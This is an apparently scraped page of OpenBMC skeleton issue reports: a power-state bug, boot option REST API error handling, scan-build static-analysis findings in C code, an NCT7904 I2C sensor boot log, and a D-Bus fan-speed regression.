Hello everyone, I sent the on / off command through obmcutil. For the shutdown command, its execution result is normal, but there are some problems in the startup command. When we execute the startup command, we delay the start of the server for 31s, but at this time, we find that the current server status is changed incorrectly. It shows that the current server is in the off state, but it is in the off state After a delay of 31s, the machine is started successfully. When we send the shutdown command again, we need to execute the startup command again and execute the shutdown command within the delay of 31s because of the error of the identified state. Can you help us?

Set/Get boot option RestAPI command error handling.

We miss add a extra space and the response statue is still OK. The the boot option in ipmi command show wrong.
For example:
curl -k -H "Content-Type: application/json" -X PUT -d "{"data": \” CDROM"}" boot.json https://<bmc_ip>/org/openbmc/settings/host0/attr/boot_flags

There is a extra spece before CDROM, and ipmi will show floppy option.

scan-build: objects/pcie_slot_present_obj.c:152,15 The left operand of '==' is a garbage value

...
62  int
63  get_presence(GDBusConnection* connection, GPIO* gpio, uint8_t* present)
64  {
65      int rc = GPIO_OK;
66      do {
67          rc = gpio_init(connection,gpio);
68          if(rc != GPIO_OK) { break; }

5 ←   Assuming 'rc' is not equal to 0 →

6 ←   Taking true branch  →

7 ←    Execution continues on line 77 →
69          uint8_t gpio_val;
70          rc = gpio_open(gpio);
71          if(rc != GPIO_OK) { break; }
72          rc = gpio_read(gpio,&gpio_val);
73          if(rc != GPIO_OK) { gpio_close(gpio); break; }
74          gpio_close(gpio);
75          *present = gpio_val;
76      } while(0);
77      if(rc != GPIO_OK)

8 ←   Taking true branch  →
78      {
79          printf("ERROR pcie_slot_present: GPIO error %s (rc=%d)\n",gpio->name,rc);
80      }
81      return rc;
82  }
...
116 gint
117 main(gint argc, gchar *argv[])
118 {
119     GMainLoop *loop;
120     GDBusConnection *c;
121     GDBusProxy *sys_proxy;
122     GError *error;
123  
124     loop = g_main_loop_new(NULL, FALSE);
125  
126     error = NULL;
127     c = g_bus_get_sync(DBUS_TYPE, NULL, &error);
128  
129     error = NULL;
130     sys_proxy = g_dbus_proxy_new_sync(c,
131             G_DBUS_PROXY_FLAGS_NONE,
132             NULL, /* GDBusInterfaceInfo* */
133             "org.openbmc.managers.System", /* name */
134             "/org/openbmc/managers/System", /* object path */
135             "org.openbmc.managers.System", /* interface name */
136             NULL, /* GCancellable */
137             &error);
138     g_assert_no_error(error);
139  
140     int i = 0;
141     int rc = 0;
142     for(i=0;i<NUM_SLOTS;i++)

1   Loop condition is true.  Entering loop body →
143     {
144         object_info obj_info;
145         uint8_t present;

2 ←   'present' declared without an initial value →
146         do {
147             rc = get_object(sys_proxy,&slots[i],&obj_info);
148             if(rc) { break; }

3 ←   Taking false branch →
149             rc = get_presence(c,&slots[i],&present);

4 ←   Calling 'get_presence'  →

9 ←   Returning from 'get_presence'   →
150             //if (rc) { break; }
151             // TODO: send correct state
152             if(present == 0) {

10 ←  The left operand of '==' is a garbage value
153                 update_fru_obj(c,&obj_info,"True");
154             } else {
155                 update_fru_obj(c,&obj_info,"False");
156             }
157         } while(0);
158     }
159  
160     g_object_unref(c);
161     g_main_loop_unref(loop);
162     return 0;
163 }

NCT7904 cannot load manually

We add echo nct7904 0x2d > /sys/bus/i2c/devices/i2c-6/new_device in start script, but failed.

============ PuTTY log 2015.11.06 13:23:09 ============
Booting Linux on physical CPU 0x0
Linux version 4.2.0-openbmc-20151104-1 (openpower@openpower-VirtualBox) (gcc version 4.9.3 (GCC) ) #1 Thu Nov 5 18:40:19 CST 2015
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=0005317f
CPU: VIVT data cache, VIVT instruction cache
Machine model: Barrelye BMC
Memory policy: Data cache writeback
SOC Rev: 02010303
UART IO MUX...
UART PIN MUX...
SCU LOCK: 00000001
DONE, MUX=cb000000 00fff0c0
CLOCK_CTRL=00000001
WDT0C=00000033
WDT2C=00000092
DLL=1
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024
Kernel command line: console=ttyS4,38400n8 root=/dev/ram rw
PID hash table entries: 1024 (order: 0, 4096 bytes)
Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
Memory: 238360K/262144K available (3540K kernel code, 171K rwdata, 1256K rodata, 160K init, 108K bss, 23784K reserved, 0K cma-reserved)
Virtual kernel memory layout:
vector : 0xffff0000 - 0xffff1000 ( 4 kB)
fixmap : 0xffc00000 - 0xfff00000 (3072 kB)
vmalloc : 0xd0800000 - 0xff000000 ( 744 MB)
lowmem : 0xc0000000 - 0xd0000000 ( 256 MB)
modules : 0xbf000000 - 0xc0000000 ( 16 MB)
.text : 0xc0008000 - 0xc04b773c (4798 kB)
.init : 0xc04b8000 - 0xc04e0000 ( 160 kB)
.data : 0xc04e0000 - 0xc050aea8 ( 172 kB)
.bss : 0xc050aea8 - 0xc0526268 ( 109 kB)
NR_IRQS:16 nr_irqs:16 16
Aspeed VIC Initiallized
clocksource: moxart_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 39817925974 ns
sched_clock: 32 bits at 100 Hz, resolution 10000000ns, wraps every 21474836475000000ns
Calibrating delay loop... 190.87 BogoMIPS (lpj=954368)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
CPU: Testing write buffer coherency: ok
Setting up static identity map for 0x40008400 - 0x40008458
devtmpfs: initialized
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
pinctrl core: initialized pinctrl subsystem
NET: Registered protocol family 16
DMA: preallocated 256 KiB pool for atomic coherent allocations
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
clocksource: Switched to clocksource moxart_timer
NET: Registered protocol family 2
TCP established hash table entries: 2048 (order: 1, 8192 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
UDP hash table entries: 256 (order: 0, 4096 bytes)
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Trying to unpack rootfs image as initramfs...
Freeing initrd memory: 16184K (c0800000 - c17ce000)
futex hash table entries: 256 (order: -1, 3072 bytes)
squashfs: version 4.0 (2009/01/31) Phillip Lougher
jffs2: version 2.2. (NAND) (SUMMARY) © 2001-2006 Red Hat, Inc.
io scheduler noop registered (default)
Serial: 8250/16550 driver, 6 ports, IRQ sharing disabled
1e783000.serial: ttyS0 at MMIO 0x1e783000 (irq = 22, base_baud = 115200) is a 16550A
1e78d000.serial: ttyS1 at MMIO 0x1e78d000 (irq = 23, base_baud = 115200) is a 16550A
1e78e000.serial: ttyS2 at MMIO 0x1e78e000 (irq = 24, base_baud = 115200) is a 16550A
1e78f000.serial: ttyS3 at MMIO 0x1e78f000 (irq = 25, base_baud = 115200) is a 16550A
console [ttyS4] disabled
1e784000.serial: ttyS4 at MMIO 0x1e784000 (irq = 26, base_baud = 115200) is a 16550A
console [ttyS4] enabled
1e787000.serial: ttyS5 at MMIO 0x1e787000 (irq = 26, base_baud = 115200) is a 16550A
brd: module loaded
loop: module loaded
bt-host 1e789140.ibt: Found bt host device
ftgmac100 1e660000.ethernet: Using NCSI interface
ftgmac100 1e660000.ethernet: Read MAC address from chip 1e:29:ee:d9:3a:7d
ftmac100: Loading version 0.2 ...
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
usbcore: registered new interface driver cdc_acm
cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters
usbcore: registered new interface driver usb-storage
usbcore: registered new interface driver usbserial
usbcore: registered new interface driver usbserial_generic
usbserial: USB Serial support registered for generic
mousedev: PS/2 mouse device common for all mice
aspeed-rtc 1e781000.rtc: rtc core: registered 1e781000.rtc as rtc0
i2c /dev entries driver
at24 0-0050: 32768 byte 24c256 EEPROM, writable, 64 bytes/write
rtc-ds1307 0-0068: rtc core: registered ds3231 as rtc1
lm75 0-004a: hwmon0: sensor 'lm75'
aspeed_wdt 1e785000.wdt: rate 48000000, max timeout 5, timeout 5
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
ip_tables: (C) 2000-2006 Netfilter Core Team
NET: Registered protocol family 17
aspeed-rtc 1e781000.rtc: hctosys: unable to read the hardware clock
Freeing unused kernel memory: 160K (c04b8000 - c04e0000)
Failed to insert module 'ipv6': Function not implemented
Failedrandom: systemd urandom read with 85 bits of entropy available
to insert module 'kdbus': Functsystemd[1]: systemd 225 running in system mode. (-PAM -AUDIT -SELINUX +IMA -APPARMOR +SMACK +SYSVINIT +UTMP -LIBCRYPTSETUP -GCRYPT -GNUTLS +ACL -XZ -LZ4 -SECCOMP +BLKID -ELFUTILS +KMOD -IDN)
systemd[1]: Detected architecture arm.

Welcome to �[1mPsystemd[1]: Set hostname to .
hosphor OpenBMC systemd[1]: Initializing machine ID from random generator.
(Phosphor OpenBMC Project Reference Distro) 0.1.0 (master)�[0m!

systemd[1]: Reached target Remote File Systems.
[�[32m OK �[0msystemd[1]: Reached target Swap.
] Reached targetsystemd[1]: Started Dispatch Password Requests to Console Directory Watch.
Remote File Syssystemd[1]: Started Forward Password Requests to Wall Directory Watch.
tems.
[�[32m Osystemd[1]: Reached target Paths.
K �[0m] Reachedsystemd[1]: Created slice Root Slice.
target Swap.
[systemd[1]: Listening on /dev/initctl Compatibility Named Pipe.
�[32m OK �[0m]systemd[1]: Listening on udev Kernel Socket.
Started Dispatcsystemd[1]: Listening on Journal Socket (/dev/log).
h Password Requesystemd[1]: Listening on udev Control Socket.
sts to Console Dsystemd[1]: Created slice System Slice.
irectory Watch.
systemd[1]: Created slice system-serial\x2dgetty.slice.

[�[32m OK �[0systemd[1]: Created slice system-getty.slice.
m] Started Forward Password Requests to Wall Directory Watch.
[systemd[1]: Created slice User and Session Slice.
�[32m OK �[0m]systemd[1]: Listening on Syslog Socket.
Reached target systemd[1]: Reached target Slices.
Paths.
[�[32m systemd[1]: Listening on networkd rtnetlink socket.
OK �[0m] Createsystemd[1]: Listening on Journal Socket.
d slice Root Slice.
[�[32m OK �[0m] Listeningsystemd[1]: Mounting Configuration File System...
on /dev/initctl Compatibility Named Pipe.
[�[32m OK �[0m] Listening on udev systemd[1]: Mounting Debug File System...
Kernel Socket.
[�[32m OK �[0m] Listening on Journal Socket (/dev/log).
[�[32m OK �[0m] Listening on udev Csystemd[1]: Starting Apply Kernel Variables...
ontrol Socket.
[�[32m OK �[0m] Created slice System Slice.
[�[32m OK �[0m] Created slice system-serial\x2dgetty.slice.
[�[32m OK �[0m] Created slice system-getty.slicesystemd[1]: Mounting Temporary Directory...
.
[�[32m OK �[0m] Created slice User and Session Slice.
[�[32m OK �[0m] Listening on Syslog Socket.
[�[32m OK �[0m] Reached target Slicsystemd[1]: Starting Remount Root and Kernel File Systems...
es.
[�[32m OK �[0m] Listening on networkd rtnetlink socket.
[�[32m OK �[0m] Listening on Journal Socket.
Mounting Configuration File System...
Mounting Debug File System...
Starting Apply Kernel Variables...
Mounting Temporary Directory...
Startingsystemd[1]: Starting Journal Service...
Remount Root and Kernel File Systems...
Starting Journal Service...
systemd[1]: Mounted Configuration File System.
[�[32m OK �[0msystemd[1]: Mounted Debug File System.
] Mounted Configuration File System.
[�[32m OK �[0msystemd[1]: Mounted Temporary Directory.
] Mounted Debug File System.
[�[32m OK �[0m] Mounted Temporary Directory.
systemd[1]: Started Apply Kernel Variables.
[�[32m OK �[0m] Started Apply systemd[1]: Started Remount Root and Kernel File Systems.
Kernel Variables.
[�[32m OK �[0m] Started Remount Root and Kernel File Systems.
systemd[1]: Started Journal Service.
[�[32m OK �[0m] Started Journal Service.
Starting Rebuild Hardware Database...
Starting Flush Journal to Persistent Storage...
Starting Create System Users...
systemd-journald[402]: Received request to flush runtime journal from PID 1
[�[32m OK �[0m] Started Flush Journal to Persistent Storage.
[�[32m OK �[0m] Started Create System Users.
Starting Create Static Device Nodes in /dev...
[�[32m OK �[0m] Started Create Static Device Nodes in /dev.
Starting udev Kernel Device Manager...
[�[32m OK �[0m] Reached target Local File Systems (Pre).
Mounting /var/volatile...
[�[32m OK �[0m] Mounted /var/volatile.
[�[32m OK �[0m] Started udev Kernel Device Manager.
Starting Load/Save Random Seed...
[�[32m OK �[0m] Reached target Local File Systems.
Starting Create Volatile Files and Directories...
Starting Rebuild Journal Catalog...
[�[32m OK �[0m] Started Load/Save Random Seed.
[�[32m OK �[0m] Started Create Volatile Files and Directories.
[�[32m OK �[0m] Started Rebuild Journal Catalog.
Starting Update UTMP about System Boot/Shutdown...
Starting Network Time Synchronization...
[�[32m OK �[0m] Started Update UTMP about System Boot/Shutdown.
[�[32m OK �[0m] Started Network Time Synchronization.
[�[32m OK �[0m] Reached target System Time Synchronized.
[�[0m�[31m* �[0m](1 of 3) A start job is running for...ardware Database (9s / 1min 31s)
�[K[�[1;31m�[0m�[31m* �[0m](1 of 3) A start job is running for...rdware Database (10s / 1min 31s)
�[K[�[31m
�[1;31m*�[0m�[31m* �[0m](1 of 3) A start job is running for...rdware Database (10s / 1min 31s)
�[K[�[32m OK �[0m] Started Rebuild Hardware Database.
Starting udev Coldplug all Devices...
Starting Update is Completed...
[�[32m OK �[0m] Started Update is Completed.
[�[32m OK �[0m] Started udev Coldplug all Devices.
[�[32m OK �[0m] Reached target System Initialization.
[�[32m OK �[0m] Listening on dropbear.socket.
[�[32m OK �[0m] Started Daily Cleanup of Temporary Directories.
[�[32m OK �[0m] Reached target Timers.
[�[32m OK �[0m] Listening on D-Bus System Message Bus Socket.
[�[32m OK �[0m] Reached target Sockets.
[�[32m OK �[0m] Reached target Basic System.
[�[32m OK �[0m] Started System Logging Service.
[�[32m OK �[0m] Started Temp placeholder for skeleton function.
Starting Phosphor OpenBMC DBus service management daemon...
[�[32m OK �[0m] Started Phosphor OpenBMC event management daemon.
Starting Login Service...
[�[32m OK �[0m] Started DBUS introspecting REST server..
[�[32m OK �[0m] Started Phosphor OpenBMC IPMI daemon.
[�[32m OK �[0m] Started Kernel Logging Service.
[�[32m OK �[0m] Started D-Bus System Message Bus.
Starting Network Service...
[�[32m OK �[0m] Started Phosphor OpenBMC BT to DBUS.
[�[32m OK �[0m] Found device /dev/ttyS4.
[�[32m OK �[0m] Found device /dev/ttyS0.
[�[32m OK �[0m] Started Network Service.
[�[32m OK �[0m] Reached target Network.
[�[32m OK �[0m] Started Serial Getty on ttyS0.
[�[32m OK �[0m] Started Serial Getty on ttyS4.
[�[32m OK �[0m] Reached target Login Prompts.
[�[32m OK �[0m] Started Login Service.
ftgmac100: NCSI dev is down
random: nonblocking pool is initialized

Phosphor OpenBMC (Phosphor OpenBMC Project Reference Distro) 0.1.0 barreleye ttyS4

barreleye login: sysad� �� �� �� �� �root

Password: nct7904: probe of 6-002d failed with error -121
i2c i2c-6: new_device: Instantiated device nct7904 at 0x2d

root@barreleye:#
root@barreleye:
# i2c i2c-6: new_device: Instantiated device nct7904 at 0x2e
systemd-journald[402]: /dev/kmsg buffer overrun, some messages lost.

root@barreleye:# xs � �� �� �cd /sys/�class/�
backlight/ graphics/ leds/ mtd/ scsi_disk/ udc/
bdi/ hwmon/ mdio_bus/ net/ scsi_host/ watchdog/
block/ i2c-adapter/ mem/ pwm/ spi_master/
dma/ i2c-dev/ misc/ rtc/ tty/
gpio/ input/ mmc_host/ scsi_device/ ubi/
root@barreleye:
# cd /sys/class/hwmon/�hwmon�
hwmon0/ hwmon1/
root@barreleye:# cd /sys/class/hwmon/hwmon� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ����������dmsg
-sh: dmsg: command not found
root@barreleye:
# dmsg���[4h �[4l�e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_RX_DOWN | AST_I2CD_INTR_STS_NORMAL_STOP = 14
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: end xfer ret = 501, xfer mode[0]
i2c_aspeed 1e78a000.i2c: state[0], SCL[1], SDA[1], BUS[0]
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 2
i2c_aspeed 1e78a000.i2c: writeing 2 bytes to 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 2
i2c_aspeed 1e78a000.i2c: (-->) xfer byte data index[00]:ff
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 1, xf len 2
i2c_aspeed 1e78a000.i2c: (-->) xfer byte data index[01]:03
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK | AST_I2CD_INTR_STS_NORMAL_STOP= 11
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: end xfer ret = 500, xfer mode[0]
i2c_aspeed 1e78a000.i2c: state[0], SCL[1], SDA[1], BUS[0]
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: writeing 1 byte to 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (-->) xfer byte data index[00]:00
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: reading 1 byte from 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: goto next_xfer
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (<--) rx byte, cmd = 38
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_RX_DOWN | AST_I2CD_INTR_STS_NORMAL_STOP = 14
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: end xfer ret = 501, xfer mode[0]
i2c_aspeed 1e78a000.i2c: state[0], SCL[1], SDA[1], BUS[0]
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: writeing 1 byte to 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (-->) xfer byte data index[00]:01
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: reading 1 byte from 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: goto next_xfer
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (<--) rx byte, cmd = 38
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_RX_DOWN | AST_I2CD_INTR_STS_NORMAL_STOP = 14
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: end xfer ret = 501, xfer mode[0]
i2c_aspeed 1e78a000.i2c: state[0], SCL[1], SDA[1], BUS[0]
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: writeing 1 byte to 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (-->) xfer byte data index[00]:02
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: reading 1 byte from 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: goto next_xfer
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (<--) rx byte, cmd = 38
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_RX_DOWN | AST_I2CD_INTR_STS_NORMAL_STOP = 14
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: end xfer ret = 501, xfer mode[0]
i2c_aspeed 1e78a000.i2c: state[0], SCL[1], SDA[1], BUS[0]
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: writeing 1 byte to 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (-->) xfer byte data index[00]:03
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] write
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt -1, xf len 1
i2c_aspeed 1e78a000.i2c: reading 1 byte from 0x2e
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_TX_ACK = 1
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: goto next_xfer
i2c_aspeed 1e78a000.i2c: do next cnt
i2c_aspeed 1e78a000.i2c: ast_i2c_do_byte_xfer
i2c_aspeed 1e78a000.i2c: M cnt 0, xf len 1
i2c_aspeed 1e78a000.i2c: (<--) rx byte, cmd = 38
i2c_aspeed 1e78a000.i2c: M clear isr: AST_I2CD_INTR_STS_RX_DOWN | AST_I2CD_INTR_STS_NORMAL_STOP = 14
i2c_aspeed 1e78a000.i2c: ast_i2c_master_xfer_done mode[0] read
i2c_aspeed 1e78a000.i2c: msgs complete
i2c_aspeed 1e78a000.i2c: end xfer ret = 501, xfer mode[0]
i2c i2c-6: new_device: Instantiated device nct7904 at 0x2e
systemd-journald[402]: /dev/kmsg buffer overrun, some messages lost.
root@barreleye:#
root@barreleye:
#
root@barreleye:#
root@barreleye:
#

scan-build: objects/power_control_obj.c: Value stored to 'rc' is never read

Bug Group Bug Type File Function/Method Line Path Length
Dead store Dead assignment objects/power_control_obj.c poll_pgood 57 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 70 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 71 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 74 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 75 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 83 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 84 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 87 1
Dead store Dead assignment objects/power_control_obj.c poll_pgood 88 1

All of these reports cover this chunk of code:

...
57      int rc = gpio_open(&pgood);

Value stored to 'rc' is never read
58      rc = gpio_read(&pgood,&gpio);
59      gpio_close(&pgood);
60      if(rc == GPIO_OK)
61      {
62          //if changed, set property and emit signal
63          if(gpio != control_power_get_pgood(control_power))
64          {
65              control_power_set_pgood(control_power,gpio);
66              if(gpio==0)
67              {
68                  control_power_emit_power_lost(control_power);
69                  control_emit_goto_system_state(control,"HOST_POWERED_OFF");
70                  rc = gpio_open(&pcie_reset);

Value stored to 'rc' is never read
71                  rc = gpio_write(&pcie_reset,0);
72                  gpio_close(&pcie_reset);
73   
74                  rc = gpio_open(&usb_reset);

Value stored to 'rc' is never read
75                  rc = gpio_write(&usb_reset,0);

Value stored to 'rc' is never read
76                  gpio_close(&usb_reset);
77   
78              }
79              else
80              {
81                  control_power_emit_power_good(control_power);
82                  control_emit_goto_system_state(control,"HOST_POWERED_ON");
83                  rc = gpio_open(&pcie_reset);

Value stored to 'rc' is never read
84                  rc = gpio_write(&pcie_reset,1);

Value stored to 'rc' is never read
85                  gpio_close(&pcie_reset);
86   
87                  rc = gpio_open(&usb_reset);

Value stored to 'rc' is never read
88                  rc = gpio_write(&usb_reset,1);

Value stored to 'rc' is never read
89                  gpio_close(&usb_reset);
90              }
91          }
92      } else {
...

It looks like we're in desperate need of some abstractions that make error handling easier and not just something that's ignored. If the operations won't fail, then lets not bother assigning to rc.

Set Value by dbus is not work.

We use the below function to change fan speed in fan algorithm,

rc = sd_bus_call_method(bus, // On the System Bus
gService, // Service to contact
fanObjPath[i], // Object path
gIntPath, // Interface name
"setValue", // Method to be called
&bus_error, // object to return error
&response, // Response message on success
"i", // input message (string,byte)
FinalFanSpeed);

But after I merged the latest code in Skeleton, I found the value can not be set.

After debug, it seems like the below commit make it fail.

efc6897

I tried to modified hwmon.py to oringinal from the commit, then setValue worked.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.